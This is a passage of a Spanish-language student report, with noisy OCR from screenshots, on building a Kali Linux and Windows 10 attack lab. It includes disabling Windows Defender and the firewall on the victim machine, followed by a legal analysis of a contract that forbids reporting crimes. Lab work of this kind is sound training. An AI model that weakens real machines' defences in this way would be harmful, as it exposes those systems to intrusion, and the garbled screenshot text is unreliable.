disk file or select an existing one Alternatively you can create 3 virtual machine without 3 virtual
hard disk

© Creste a Virtual Hard Disk Now

Disk Size: 120 GB

400 M8 20078
Pre-aliocate Full Size

Use an Existing Virtual Hard Disk File

¥
1 §ilg Do Not Add a Virtual Hard Disk

Fuente: Elaboracion propia
D. Es hora de iniciar la maquina virtual y la instalacién del sistema operativo

Linux Kali. Es recomendable iniciar la instalacién con la primera opcion para
gue el proceso sea totalmente grafico y mas facil.
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llustraciéon 8 Inicio instalacién Linux Kali

® 3 Linux Karfi HackerHouse [Running]

B ALARILS

Kali Ling aller menu (BIOS mode)

Graphical install
1

= 40 T ) ke e

Fuente: Elaboracion propia

. A continuacion, seran asignados elementos como el idioma a instalar, la
ubicacion geografica, distribucion del teclado, nombre de usuario, clave y un
elemento bastante importante que sera la asignacion de disco duro en la cual
se retomara la explicacion mediante texto en este documento.

llustracion 9 Seleccidn de Idioma de instalaciéon

soe Linux Karki HackerHouse [Running]

T

Select 3 language *

Choose the language to be used for the installation process. The selected language will 3o be the default
he installed system.

Chinese (Traditionall - =R(EE)
Croatian - Hovatski
Czech - Cedtina

Esperanto + Esperanto

Finnish - Suomi

French - Francals

Georgian -+ dekerme
German - Dewmsch

Screenshot Go Back Continue
Qon=so SRAGELax

Fuente: Elaboracion propia
Dependiendo de la ubicacion geografica algunas configuraciones como la

zona seran establecidas, tal como se puede observar en la ilustracion 10 y
11.
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llustracién 10 Ubicacién geografica

KALI

The selected location will be used 1o set your time zone and also for example to help select the system locale.
Normally this should be the country where you live.

Select your location

Select the continent or region to which your location belongs.

Continent or region

&
Screenshor Go Back Continue |

QoS BRFEGE L

Fuente: Elaboracion propia

llustraciéon 11 Seleccién de Pais

KALI |

The selected location will be used to set your time zone and also for example 1o help select the system locale.
Normally this should be the country where you live.

Select your location

Listed are locations for: South America. Use the <Go Back> option to select a different continent or region If
your location is not listed.

Country. termitory or area
Argentina

Bolivia

Brazil

chile

Ecuador
French Guiana
Guyana
Paraguay
Peru
Suriname
Uruguay
venezuela

Screenshot Go Back Continue

BQuSFs EHiREOELEhx

Fuente: Elaboracion propia

G. A continuacion, se realizara la seleccion de la distribucion de teclado, es
importante que esta distribucion es parte fundamental de toda la
configuracion ya que Linux Kali posee bastantes herramientas que son
ejecutadas por medio de lineas de comandos y aca radica la importancia de
gue la distribucion de teclado asignada en el sistema operativo coincida con
la que posee el teclado fisico.



H. Asignar un nombre de host permitira facilitar la identificacion de la maquina

llustracién 12 Distribucién del teclado

KALI |

British English
Bulgarian (BDS layout}
Bulgarian iphonetic layout)
Burmese

Canadian Frendch

Screenshot Go Back continue ‘\

ET T Yy

Fuente: Elaboraciéh"'b?bpia

dentro de la red creada.

llustracion 13 Nombre de red del equipo

| KALI

The hostname is a single word that identifies your system to the network. If you don’t know what your
hostname should be, consult your network administrator. If you are setting up your own home network, you
can make something up here.

Configure the network

Please enter the hostname for this system.

=
L]
Screenshot GoBack || Continue
0@ DS S B P S E s

Fuente: Elaboracion propia

A continuacion, es necesario asignar un nombre de usuario el cual tendra
privilegios de administrador y desde el que podremos proporcionar permisos

para usar la terminal en modo root.
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llustraciéon 14 Nombre de usuario

| KALI I

ted for you 1o use instead of the oot accoun

Set up users and passwords

of this user. This information will be used for inst
s any program which displays o uses the user’s

‘Screenshot Go Back Continue |
BOhSe ERHEDELnx

Fuente: Elaboracion propia

J. Esta asignacion de clave no solo serd utilizada para ingresar al sistema o
activar el usuario root, también podra ser usada si se desea realizar
conexiones tipo ssh por ejemplo.

llustracién 15 Asignacion de clave

eoe® Linux Karii HackerHouse [Running)

T 0

Set up users and passwords

Sereenshor Go Back Continue

Fuente: Elaboracién propia

K. En las siguientes imagenes serd mostrado el proceso de asignacion de
espacio en disco duro, es necesario comprender que a diferencia de la
instalacion de un sistema operativo Windows durante este proceso se pedira
no solo seleccionar el disco, sino también la asignhaciéon de recursos para las
diferentes particiones que maneja el sistema operativo Linux Kali asi como
también la asignacion de un espacio para la particion EFl encargada de
iniciar el sistema operativo en hardware moderno.
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llustracion 16 Asignacion a utilizar

L L] Linuix Kari HackerHouse [Running]
| KALI I
Partition disks

[ quide you through partitioning a disk lusing different standard schemes) or, if you profor,
you can do it manually. With guided partitioning you will still have a chance later o review and customise the
results.

1f you choose guided partitioning for an entire disk, you will

e asked which disk should be used

Guided - use entire disk and set up LYM
Guided - use entire disk and set up encrypred LVM
Manual

Gamack | [ continue |

=
Hokss D@ Lnx
Fuente: Elaboracion propia

L. Durante la presente actividad solo se muestra un disco duro y una Unica
particién, aunque este proceso puede cambiar bastante cuando se realiza
sobre un disco que posee otro sistema operativo instalado.

llustracion 17 Seleccion de disco fisico

| KALI I

all data on the disk you select will be erased, but not before you have confirmed that you really
it to make the changes.

SCSI3 (0,0,0) (sda) - 128.8 GB ATA VBOX HARDDISK

Go Back Continue

BRSO BHAGYLLnx
Fuente: Elaboracion propia
M. En el siguiente paso se recomienda dejar todos los elementos en una misma

particién ya que si no se posee un conocimiento un poco avanzado esto hara

gue moverse dentro del terminal sea un poco mas complicado a la hora de
ubicar directorios.
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llustraciéon 18 Ubicacién de archivos

(L) Linux Karli HackerHouse [Running]

KALI

SCS13(0,0,0) (sdla) - ATA VBOX HARDDISK: 1288 GB

Partition disks
Selectad for partitioning:

The disk can be partitioned using one of several different schemes. if you

are unsure, choose the first one.
Fartitioning schame.

Al files in one partition (recommended for

Separate home partition
Separate home, /var, and ftmp partitions

Screenshot Go Back Continue

GG B o110 e B0 ) et 3¢

Fuente: Elaboracion propia

N. Habiendo realizado los anteriores pasos se puede dar por finalizada la
configuracion del disco duro que soportara el sistema operativo.

llustracién 19 Finalizar y ejecutar proceso

| KALI I

jew of your currently configured partitions and munt points. Select a partition to modily ts settings (file
systom. mount point. efc.J. a free space o create partitions, of 3 device ko initialze its parttion table.

Guided partitioning

canfiqure software RAID
configure the Logical Volume Manager
Canfigure encrypted volumes
canfigure ISCS1 valumes.

= SCS13(0,0,0) sda) - 128.8 GB ATA VBOX HARDDISK
> #1 primary 127.868  f extd '
]

= #5 logical Loca swap  swap

Undo changes to partitions
Finish partitioning and write changes to disk

Screenshor Help Go Back Continue |

BoLss SRR x

Fuente: Elaboracion propia

O. A este momento solo se confirma que el proceso esta como se esperay se
le da continuar.
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llustracién 20 Confirmacion de proceso

eoe Linua Karli Hacker House [Running]

| KALI |

H you continue, the changes listed below will be written to the disks. Otherwise, you will be able to make
further changes manuaity.

Partition disks

The partition tables of the following devices ars changed:
SCSID (0,0,0) (sda)

The following partitions are going (o be formatted:
partition #1 of SCSI3 (0,0.0) (sda) as extd
partition #3 of SCS13 (0,0,0) (sda) as swap

Wirite the changes to disks?

No
. ves

Screenshot Continue

G e i Y ) e 2

Fuente: Elaboracion propia

P. Posteriormente se instalard todos los elementos necesarios para que el
sistema operativo sea funcional, en caso de tener ya establecida una
conexion a internet el instalador descargara algunas actualizaciones.

llustracién 21 Instalacion archivos sistema operativo

| KALI I

install the base system

(=== itating he ase sy

Extracting libeom-err2.

Fuente: Elaboracién b_ropia

Q. Antes de finalizar se proporcionan opciones de personalizacion en las cuales
se puede llegar a instalar complementos gréaficos que en algunos casos como

KDE Plasma proporcionan un ambiente grafico un poco mas similar a un
sistema operativo Windows.
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llustracién 22 Seleccidn interfase gréafica

eve Linux Karf HackerHouse (Running]

I KALI I

At the moment, only the core of the system is installed. The default selections below will install Kall Linux with
its standard deskiop environment and the default Tools.

Softmare selection

You can customize it by choosing 3 different desktop environment or  different collection of tools.
Choase sotwave to mstal

Desktop environment (selecting this item has no effect!

¥ ... Xice (Kaii's defaukt desktop environment)

. KDE Plasma

¥ Coliection of took [selecting this item has no effect]

¥ .. 10p10 — the 10 most popular tools

) ... default  recommended tooks (available in tRe five system)

Screenshot

Continue

Qok=ss SEEOLxX

Fuente: Elaboracion propia
R. Para finalizar el proceso de instalacion se solicitara el lugar en donde se
desea instalar los archivos de arranque EFI sin los cuales el sistema
operativo no iniciaria autométicamente desde el disco duro.

llustraciéon 23 Instalacidn archivos de arranque EFI

| KALI I

he newly installed system bootable, by installing the GRUB boot loader
o

Install the GRUB boot loader

on a bootable
/ay 10 o this is to install GRUB to your primary drive (UEFI partition/boot record). You may
8 to a different drive (or partition), or to removable media.

Device for boot loader installation:
Enter device manually

/dev/sda (ara-VBOX HARDDISK VBfe2e1766-9054429¢)

Go Back Continue

Ed

BOLIo 8O e

Fuente: Elaboracién propia

S. Una vez concluidos los procesos anteriormente mostrados se reiniciara la
maquina y dara el primer inicio del sistema operativo totalmente cargado.
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llustracion 24 Primer inicio sistema operativo Linux Kali

ene Linux Karfi HackerHouse [Running]

S S e

Fuente: Elaboracién "b'ropia
T. En el proceso de post instalacion del sistema operativo se ejecutaran los
comandos: sudo apt update & sudo apt upgrade para actualizar totalmente
el sistema operativo.

llustracion 25 Ejecutando comando sudo apt update

Fuente: Elaboracién propia
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llustracién 26 Ejecutando comando sudo apt upgrade

ese Hasmrtiouas Aunning]

PRy R

Fuente: Elaboracion propni'a“

CREACION MAQUINA VIRTUAL WINDOWS 10

Si bien durante esta segunda instalacion se repetiran algunos pasos de los
realizados con la anterior es posible observar que el proceso mas sencillo y
automatizado.

A. Primero sera necesario desde el menu inicial de Virtual Box dar clic en la
opcién nueva para asi abrir el mend donde se daran las primeras
caracteristicas como lo seran el nombre de la maquina, ubicacién tipo de
sistema operativo y version.

llustracién 27 Creacién maquina virtual Windows 10

Name and operating system

Please choose a descriptive name and destination folder for the new
virtual machine and select the type of operating system you intend
to install on it. The name you choose will be used throughout
VirtualBox to identify this machine.

Name: |Windows 10 HackerHouse

Machine Folder: [ /Users/charlie/VirtualBox VMs [~ ]
Type: Microsoft Windows e %
Version: Windows 10 (64-bit) (2]
Expert Mode o Back m Cancel

Fuente: Elaboracion propia
B. A continuacion, se asignara la cantidad de memoria RAM, el espacio del

disco duro virtual y su ubicacién en el disco fisico, asi como los nacleos del
procesador disponibles.
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llustracion 28 Asignacion memoria RAM

Memory size

Select the amount of memory (RAM) in megabytes to be allocated to
the virtual machine.

The recommended memory size is 2048 MB.
8192 . MB

amB 65536 MB

Go Back m Cancel
Fuente: Elaboracion propia

. Es importante no limitar el espacio del disco duro de ser posible ya que las
actualizaciones de Windows llegan a consumir bastante espacio, aunque si
por error se llegase a requerir un aumento se puede realizar desde el menu
principal de VirtualBox.

llustracion 29 Asignacion disco duro

File location and size

Please type the name of the new virtual hard disk file into the box below or
click on the folder icon to select a different folder to create the file in.

rtualBox /Wi 10 / 10 HackerHousevdi [

Select the size of the virtual hard disk in megabytes. This size is the limit on
the amount of file data that a virtual machine will be able to store on the
hard disk.

120,00 GB

4.00 MB 20078

Go Back m Cancel
Fuente: Elaboracion propia

. Los nucleos del procesador en este caso pueden ser pocos ya que el sistema

operativo como tal no se encontrara ejecutando softwares especializados por
ahora.
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llustracion 30 Asignacion nucleos procesador

@ [c] Windows 10 HackerHouse - System

o mpp@O> @ O

General  System Display Storage  Audio  Network  Ports  Shared Folders  User interface

Motherboard Acceleration

Processor(s): 4
1CPU 12 CPUs
Execution Cap: 100% 2
% 100%
Extended Features: Enable PAE/NX

cancel  [ELD
Fuente: Elaboracion propia

E. A diferencia del proceso realizado con la maquina virtual anterior en esta el
proceso de anexar el medio de instalacion sera realizado al final de esta
primera etapa, este instalador se descargara desde la pagina oficial de
Microsoft?®.

llustracién 31 adicién medios de instalacion

Windows 10 HackerHouse - Storage

- m O @ D> O

General System Display  Storage Audio Network Ports Shared Folders User Interface

Storage Devices Attributes
& Controller: SATA Optical Drive: ~ SATA Port 1 8o
Windows 10 HackerHouse.vdi
el
Information
Type: Image
Size: 5.72GB

Location: /Users/charlie/Downloads/Win10_...

Attached to: --

L I

Cancel m
Fuente: Elaboracion propia

19 MICROSOFT, Descargar imagen de disco de Windows 10 (archivo 1SO). Microsoft [www.microsoft.com].
[Consultado el 13, agosto, 2023]. Disponible en internet: <https://www.microsoft.com/es-es/software-
download/windows10ISO >
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F. Ahora se procedera a iniciar la maquina virtual para que esta ejecute el disco
de Windows 10 y se seguiran los pasos.

llustracion 32 Seleccién idioma instalar

. Windows 10 HackerHousa [Running]

Fuente: Elaboracion propia

La velocidad de los procesos que se pueden observar a continuacién dependera
directamente de los recursos fisicos y en algunos casos de la velocidad de internet
para descargar actualizaciones.

llustracién 33 Instalacién sistema operativo en disco duro

IR T FErT]

Fuente: Elaboracion propia
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llustracién 34 Primer inicio del sistema operativo

. Wingews 10 Hackartouse (Running)

am Py

Fuente: Elaboracion propia
Seleccion de idioma y region son elementos bastante Utiles ya que cabe mencionar
gue durante dichas actividades el uso de consolas de comandos es frecuente y el

tener un idioma o region diferentes a los del teclado fisico puede acarrear
confusiones a la hora de ingresar comandos manualmente.

llustracion 35 Seleccién de idiomay region

Let’s start with region. Is this right?

Fuente: Elaboracion propia
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llustracion 36 Seleccion teclado

Is this the right keyboard layout?

Fuente: Elaboracion propia

llustracion 37 Asignacion nombre de usuario

Who's going to use this PC?

Fuente: Elaboracion propia
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llustracién 38 Primera carga sistema operativo completo

Browse the web with Microsoft Edge

The new browser recommended by
Microsoft for your PC

P Type here 10 search

Fuente: Elaboracion propia

G. Para el presente banco de trabajo se solicita desactivar los servicios de
seguridad de Windows, proceso que se puede observar en las siguientes

imagenes.

llustracién 39 Apagado Windows defender

[T
[
o ks & e

S e

% Virus & threat protection settings

Real-time protection

Fuente: Elaboracion propia
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llustracién 40 Apagado firewall de Windows

Fuente: Elaboracion propia

5.1 PRUEBA DE COMUNICACION ENTRE MAQUINAS

Dando por concluidas las instalaciones de ambas maquinas virtuales se es
necesario confirmar dos parametros que seran relevantes para el desarrollo de
futuras actividades. El primero de ellos es la verificacion de su conectividad a la red
y sus direcciones IP, el segundo es determinar mediante un ping la comunicacion
directa entre ambas.

A. Confirmacion maquina Linux Kali mediante el comando ifconfig

llustracion 41 Verificacion IP Linux Kali

File Actions Edit View Help

ethd: flags=4163<UP,BROADCAST,RUNNING,MULTICAST> mtu 1500
inet PEPIRGEPSBPER netmask 255.255.255.0 broadcast 192.168.1.255
inet6 fe80::a00:27ff:febb:cd8f prefixlen 64 scopeid 0x20<link>
ether 08:00:27:bb:cd:8f txqueuelen 1000 (Ethernet)
RX packets 91 bytes 18623 (18.1 KiB)
RX errors @ dropped @ overruns @ frame 0
TX packets 44 bytes 12278 (11.9 KiB)
TX errors @ dropped @ overruns @ carrier @ collisions @

lo: flags=73<UP,LOOPBACK,RUNNING> mtu 65536
inet 127.0.0.1 netmask 255.0.0.0
inet6 ::1 prefixlen 128 scopeid 0@x10<host>
loop txqueuelen 1000 (Local Loopback)
RX packets 4 bytes 240 (240.0 B)
RX errors @ dropped @ overruns @ frame 0
TX packets 4 bytes 240 (240.0 B)
TX errors @ dropped @ overruns @ carrier @ collisions @

Fuente: Elaboracion propia
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B. Confirmacion maquina Windows mediante el comando ipconfig

llustracion 42 Verificacion IP Windows 10

EX Select Command Prompt
lindows [Version 16.8.1984
oft Corporation. All rig

C:\Users\Winl1®-HackerHouse>ipconfig

Windows IP Configuration

Ethernet adapter Ethernet:

5 Suffix

Fuente: Elaboracién propia

Una vez confirmadas las direcciones IP de cada una de las maquinas se procedera
a realizar una prueba de PING entre cada una de ellas.

C. El comando ping funciona de la misma manera en sistema operativo
Windows y Linux por lo cual en las siguientes dos imagenes se confirma la
conectividad entre las dos maquinas virtuales.

llustracién 43 Ping de Windows a Linux Kali

aximum =

-HackerHouse»

Fuente: Elaboracion propia
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llustracion 44 Ping de Linux Kali a Windows

= ing 192.168.1.214

PING 192.168.1.214 (192. .1.214) 56(84) bytes of data.
64 bytes from 192.168.1. : icmp_seq=1 ttl=64 time=0.033
64 bytes from 192.168.1. : icmp_seq=2 ttl=64 time=0.032
64 bytes from 192.168.1.: : icmp_seq=3 ttl=64 time=0.063

64 bytes from 192.168.1.
64 bytes from 192.168.1.

: icmp_seq=5 ttl=64 time=0.031
: icmp_seq=6 ttl=64 time=0.033
: icmp_seq=7 ttl=64 time=0.030

1
1
1
64 bytes from 192.168.1. : icmp_seq=4 ttl=64 time=0.034
1
1

64 bytes from 192.168.1.

Fuente: Elaboracion propia

5.2 RESUMEN CARACTERISTICAS BANCO DE PRUEBAS

El actual banco de pruebas de HackerHouse cuenta con las siguientes
caracteristicas fisicas y virtuales.

SERVIDOR FiSICO

Tabla 3 Servidor HOST

PROCESADOR I511Gen 2.6 6 Core
RAM 64GB 3200MHZ DDR4
DISCO M.2 1TB GEN 3

Fuente: Elaboracion propia

MAQUINAS VIRTUALES

Tabla 4 Maquina virtual Linux Kali

PROCESADOR 2 Core
RAM 16GB
DISCO 120GB

Fuente: Elaboracion propia
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Tabla 5 Maquina virtual Windows 10

PROCESADOR 2 Core
RAM 8GB
DISCO 120GB

Fuente: Elaboracion propia

6. MARCO LEGAL DE UN CONTRATO

Interpretar las leyes de un pais es una labor que en algunos momentos puede llegar
a ser tediosa ya que el derecho a no ser una ciencia exacta basada en numeros da
oportunidad a diferentes interpretaciones de las leyes y articulos que una
constitucion tenga para garantizar los derechos y deberes de sus habitantes.

Como caso puntual este documento dara a conocer el analisis de un contrato
brindado por la empresa HackerHouse a sus posibles nuevos empleados, donde
cabe destacar se resaltaran y daran a conocer los parrafos en los cuales se cree se
estdn vulnerando los derechos de todo empleado y se esta Unicamente
salvaguardando a la empresa contratante.

Inicialmente se ha realizado lectura de los anexos 2 y 3, siendo el numero 3 el
contrato, en el cual de inicio se logran identificar que es un contrato atipico el cual,
al no ser claro en su contenido de forma, vicia el consentimiento de la parte
subscritora (afecta negativamente).

6.1 ANALISIS CONTRATO

A continuacion, se enumeraran los parrafos y posteriormente que contienen
elementos ilegales o contradictorios que afecta a los contratantes y contratistas.

1. (Que el presente acuerdo se realiza por un lado entre la parte receptora de
la informacion como integrante del proceso de seleccion de personal, nombre
estudiante que para el presente caso actual como revelador, guarda y
administrados de la informacién de propiedad de HackerHouse).

En el parrafo 1, cuando menciona la palabra revelador hace alusién a que esta
persona se encuentra autorizada a dar a conocer la informacién de la empresa.

2. Primera. Objeto: en virtud del presente acuerdo de confidencialidad, la parte
receptora, se obliga a no divulgar directa, indirecta, proxima a remotamente,
ni a través de ninguna otra persona o de sus subalternos o funcionarios,
autoridades legales, asesores o cualquier persona relacionada con ella, la
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informacion confidencial o sobre procesos ilegales dentro de HackerHouse
no podran ser divulgados.

Se esta limitando el principio de la autonomia de la voluntad contractual de la
persona contrada o en este caso que sera contratada.

3. Cualquier informacion societaria, técnica, juridica, financiera, comercial, de
mercado, estratégica, de productos, nuevas tecnologias, patentes, modelos
de utilidad, disenos industriales, datos secretos como “datos de chuzadas,
interceptacion ilegal de informacion, accesos abusivos a sistemas
informaticos”.

Se encuentran violando el derecho a la privacidad de las personas, y la ley 1273%°
en cuanto a delitos informéaticos.

4. No denunciar ante las autoridades actividades sospechosas de espionaje o
cualquier otro proceso en el cual intervenga la apropiacion de informacién de
terceros.

El no denunciante se esta convirtiendo en complice de la actividad delictiva
realizada por la empresa.

5. Responder por el mal uso que le den sus representantes a la informacion
confidencial.

Inicialmente en una empresa quienes deben responder legalmente por el actuar de
esta seran sus representantes legales y posterior a investigacion los empleados.

6. La parte receptora se obliga a no transmitir, comunicar revelar o de cualquier
otra forma divulgar total o parcialmente, publica o privadamente, la
informacion confidencial o ilegal sin el previo consentimiento por escrito por
parte de HackerHouse.

Esta actuando de una manera ilegal encubriendo a la empresa, adiciona ya existen
programas y leyes de proteccién a quienes denuncien estas actuaciones en sus
empresas?..

20 CONGRESO DE LA REPUBLICA DE COLOMBIA. Ley 1273 de 2009 delitos informaticos. Super Intendencia De
Industria y Comercio (www.sic.gov.co). (05,enero,2009). [Consultado el 15, agosto, 2023]. Disponible en
internet: <https://www.sic.gov.co/recursos_user/documentos/normatividad/Ley_1273_2009.pdf>

21 CONGRESO DE LA REPUBLICA DE COLOMBIA. LEY 1778 DE 2016. Funcién Publica
[www.funcionpublica.gov.co].(02, febrero, 2016). [Consultado el 15, agosto, 2023]. Disponible en: <
https://www.funcionpublica.gov.co/eva/gestornormativo/norma.php?i=67542>
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7. Responder ante las autoridades competentes como responsable en caso de
gue la informacidn se encuentre en su poder dentro de un proceso de
allanamiento.

Inicialmente todo el proceso recaera sobre los representantes legales y posterior a
investigacion sobre los empleados, en este esta persona entrara en un proceso
para saber si tenia conocimiento de lo que estaba haciendo (que por supuesto lo
tendria siendo el funcionario de seguridad) y posterior se investigaria si lo hacia
bajo su propia voluntad o por presiones externas o amenazas.

6.2 LEYES VIOLADAS POR EL CONTRATO DEL ANEXO 3

A continuacién, se podran conocer algunas de las leyes que han sido violadas en
el contrato del anexo 3. (no solo se tomara la ley 1273 de 2009)

e Ley 1273 de 2009

o Se esta violando la confidencialidad de personas ya que se accede a
datos mediante chuzadas o extraccién de informacion utilizando
métodos tecnoldgicos, en esto se puede hablar de las chuzadas
telefénicas, la interceptacion de correos entre otros?2.

e Ley 599 de 2000 (Cddigo penal Colombiano)

o El codigo penal es bastante amplio ya que este pretende cubrir una
gran variedad de aspectos de la vida de todo ciudadano y extranjero
gue actie dentro del territorio Colombiano, analizandolo se puede
decir sus modulos de delitos econdmicos e informéticos son los mas
violentados en el contrato del anexo 3. Por ejemplo, en el Articulo 447
se menciona que es ilegal encubrir el origen ilicito de dineros, en este
caso claramente la empresa esta recibiendo dinero por actividades
delictivas (Cabe mencionar que no habla directamente sobre
actividades de hackeo) pero puede cubrir en un amplio espectro las
actividades realizadas para conseguir el dinero?3.

e Ley 1778 de 2016.

o En el Anexo 3 se menciona que todo empleado debe guardar total
silencio sobre las actividades que realicen las personas dentro de la
empresa y que estas no pueden informar a las autoridades sobre los
actos ilegales, esta ley se puede ver como la proteccién que tienen

22 CONGRESO DE LA REPUBLICA DE COLOMBIA. Ley 1273 de 2009. Funcion Publica
[www.funcionpublica.gov.co]. (05, enero, 2009). [Consultado el 16, agosto, 2023]. Disponible en internet: <
https://www.funcionpublica.gov.co/eva/gestornormativo/norma.php?i=34492#2>

2 CONGRESO DE LA REPUBLICA DE COLOMBIA. Ley 599 de 2000. Funcidon Publica
[www.funcionpublica.gov.co]. (24, julio, 2000). [Consultado el 15, agosto, 2023]. Disponible en internet: <
https://www.funcionpublica.gov.co/eva/gestornormativo/norma.php?i=6388 >
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estas personas en el caso que denuncien las actividades poco
profesionales e ilicitas que realiza la empresa?*.
e Ley 906 de 2004 (Cdodigo de procedimiento penal).

o Se podria decir que se viola el principio de inocencia del empleado al
acusar directamente a este de todos los actos ilegales de la empresa
en caso de tener un allanamiento. Es decir, ese item no les permitiria
hacer recaer todo el peso de la ley contra el empleado Unicamente,
este se podria presuncir de inocencia hasta que se realice una
investigacion?>.

e Ley 1266 de 2008.

o Serealizan actividades no legales al dejar que los datos almacenados
en la empresa sean disponibles para todo el que lo llegue a necesitar
(es decir que pueden estar brindando esa informacién a cualquiera a
cambio de dinero) aunque en ningln momento se habla o menciona
la ley de proteccion de datos que posean en la empresa, pero se
puede presumir que tiene sus trucos para violar la ley.

e Ley 1581 de 2012

o El anexo 3 se encuentra violando varios articulos de esta ley, un
ejemplo es el articulo 4 item e habla del principio de transparencia,
acto que claramente no esta realizando esta empresa con la
informacion.

6.3 IMPLICACIONES EN CASO DE ACEPTAR CONTRARO (DE ACUERDO AL
CODICO DE ETICA COPNIA)

El Consejo Profesional Nacional de ingenieria de la Republica de Colombia
establece mediante su cédigo de ética una serie de elementos que permiten dar a
conocer los derechos y obligaciones de los Ingenieros que ejercen legalmente la
dichas profesiones y afines. Dentro de este existen varios items que estan siendo
violados en Anexo 3 y se enumeraran a continuacion.

e Articulo 31: Un item del contrato menciona la prohibiciéon de comunicar a las
autoridades sobre actos ilegales que realice la empresa.

e Articulo 53b. El profesional que luego de haber firmado el contrato evite que
las autoridades puedan realizar una investigacion estara cometiendo una
falta grave.

24 CONGRESO DE LA REPUBLICA DE COLOMBIA. Ley 1778 de 2016. Funcidon Publica
[www.funcionpublica.gov.co]. (02, febrero, 2016). [Consultado el 16, agosto, 2023]. Disponible en internet: <
https://www.funcionpublica.gov.co/eva/gestornormativo/norma.php?i=67542>
%5 CONGRESO DE LA REPUBLICA DE COLOMBIA. Ley 906 de 2014. Funcidon Publica
[www.funcionpublica.gov.co]. (31, Agosto, 2004). [Consultado el 16, agosto, 2023]. Disponible en internet: <
https://www.funcionpublica.gov.co/eva/gestornormativo/norma.php?i=14787>
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En especifico el contrato esté incentivando al profesional a incumplir por lo menos
los dos articulos anteriormente mencionados del codigo de ética, lo cual le dara
como resultado la invalidacién de su matricula profesional hasta por 5 afios de
acuerdo con la ley 842 de 2003 en su titulo V126

6.4 NOTICIA COLOMBIANA VINCULADA AL CIBERCRIMEN

Durante los ultimos meses en Colombia ha sido tendencia la noticia que implica al
mismo gobierno de la republica en interceptacién ilegal de llamadas (caso que se
ha visto anteriormente en varios Gobiernos repetidamente). El caso concreto implica
la sefiora Laura Sanabria quien presuntamente habria sido victima de interceptacion
de llamadas telefénicas y posterior clonacion de su equipo mavil celular, con lo cual
el grupo técnico de investigacion de la fiscalia de Colombia ha tenido que realizar
allanamientos en busqueda de pistas que les permitan identificar como tuvo lugar
el proceso de interceptacion?’.

e Interceptacion de llamadas: Se puede confirmar que en este acto se esta
violando el articulo 17 de la Ley 1621 de 201328 ya que la actividad se realiz6
mintiendo sobre un proceso de investigacion y sin autorizacién explicita por
parte de la fiscalia para actuar sobre la privacidad de la sefiora Laura
Sanabiria.

e Clonacion de celular: Inicialmente en este acto se estéa violando el derecho a
la privacidad establecido en el Articulo 15 de la Constitucién Politica de
Colombia?®. Asi como la ley 1266 de 2008 en el Articulo 4, donde se
establece que la informacion personal no puede ser accedida sin previa
autorizacion (ejemplo la grabacion que sale antes de que se grabe una
llamada en un call center) Finalmente podemos mencionar el Articulo 2692
de la Ley 1273 de 2009 donde se establece que el acceso abusivo a un

26 COPNIA. Cdodigo de ética. Consejo Profesional Nacional de Ingenieria [www.copnia.gov.co]. [Consultado el
17, agosto, 2023]. Disponible en internet: <https://www.copnia.gov.co/tribunal-de-etica/codigo-de-etica >
27 API, Agencia Periodismo Investigativo. APl [www.agenciapi.co]. (07, junio, 2023). [Consultado el 16, agosto,
2023]. Disponible en internet: <https://www.agenciapi.co/noticia/justicia/caso-laura-sanabria-fiscalia-allano-
edificio-de-la-dian-por-chuzadas >

22  CONGRESO DE LA REPUBLICA DE COLOMBIA. Ley 1621 de 2013. Funcidon Publica
[www.funcionpublica.gov.co]. (17, abril, 2013). [Consultado el 15, agosto, 2023]. Disponible en internet: <
https://www.funcionpublica.gov.co/eva/gestornormativo/norma.php?i=52706 >

22 CONGRESO DE LA REPUBLICA DE COLOMBIA. Constitucién Politica de Colombia 1991. Ministerio de
industria y turismo [www.mincit.gov.co]. [Consultado el 17, agosto, 2023]. Disponible en internet:
<https://www.mincit.gov.co/ministerio/normograma-sig/procesos-estrategicos/gestion-de-informacion-y-
comunicacion/constitucion-politica/derechos/articulo-15.aspx#:~:text=1991-
LART%C3%8DCULO%2015%E2%80%94%20Todas%20las%20personas%20tienen%20derech0%20a%20su%20
intimidad,debe%20respetarlos%20y%20hacerlos%20respetar>
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sistema informatico sin autorizacion es delito tenga este o no elementos de
seguridad que eviten el acceso a tercero®°,

e Finalmente la noticia mas reciente a hoy 28 de septiembre de 2023 es el
hackeo que ha sufrido la empresa Data IFX quien se encargaba de proveer
servicios al gobierno de Colombia, dichos servicios se han visto
comprometidos a causa de un Ransomware que ha afectado gran parte de
sus servicios. En este caso se estan violando varios articulos de las leyes
Colombianas ya que terceros no autorizados han accedido a informacion
privada de manera no autorizada y es posible que a futuro la comercialicen
en la dark web?3,

Adicional estas labores anteriormente mencionadas pudieron haber sido realizadas
por profesionales titulados los cuales se pueden enfrentar a problemas no solo
legales sino también con el Consejo Profesional de Ingenieros ya que violaron
varios items del codigo de ética y esto debera ser confirmado o refutado mediante
investigacion la cual podra castigar invalidando sus tarjetas profesionales.

7. RECREACION DEL ESCENARIO Y DESCRIPCION DE LAS
HERRAMIENTAS UTILIZADAS

Inicialmente la empresa HackerHouse manifiesta que el equipo victima del ataque
tiene instalado sistema operativo Windows 10 a 64 bits y todos sus sistemas de
seguridad de Windows se encuentran apagados, por consiguiente, se procede a
organizar el laboratorio de pruebas igualando las condiciones proporcionadas en el
anexo 4.

7.1 CONFIGURACION BANCO DE PRUEBAS

En la gestion inicial del banco de trabajo se utilizan dos maquinas virtuales de las
cuales su configuracion mas relevante puede observarse en la tabla 6 a
continuacion.

30 CONGRESO DE LA REPUBLICA DE COLOMBIA. Ley 1273 De 2009. Super Industria y Comercio
[www.sic.gov.co]. [Consultado el 17, agosto, 2023]. Disponible en internet: <
https://www.sic.gov.co/recursos_user/documentos/normatividad/Ley_1273_2009.pdf >

31 DUARTE, Laura. Ciberataque: asi se gesto el contrato de IFX Networks con Colombia. El Espectador
[www.elespectador.com].(20, septiembre, 2023). [Consultado el 28, septiembre, 2023]. Disponible en
internet: < https://www.elespectador.com/politica/ciberataque-en-colombia-asi-se-gesto-el-contrato-de-ifx-
networks-con-colombia-compra-eficiente-durante-el-gobierno-petro-ministerio-de-las-tic/>
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Tabla 6 Maquinas virtuales (banco de trabajo)

Maquina 1 Maquina 2
Sistema operativo Kali Linux 2023.3 Sistema operativo Windows 10 x64
22h2
Nucleos asignados 6 Nucleos asignados 6
Memoria RAM asignada 8192 Memoria RAM asignhada 8192

Conexion de red Adaptador de puente  Conexion de red Adaptador de puente

Direccion IP 192.168.1.214/24 Direccion IP 192.168.1.113/24

Fuente: Elaboracion propia

Una vez se tiene el banco de pruebas listo, la tarea inicial es verificar el
direccionamiento IP de cada una de las maquinas virtuales. Para esto se utilizara la
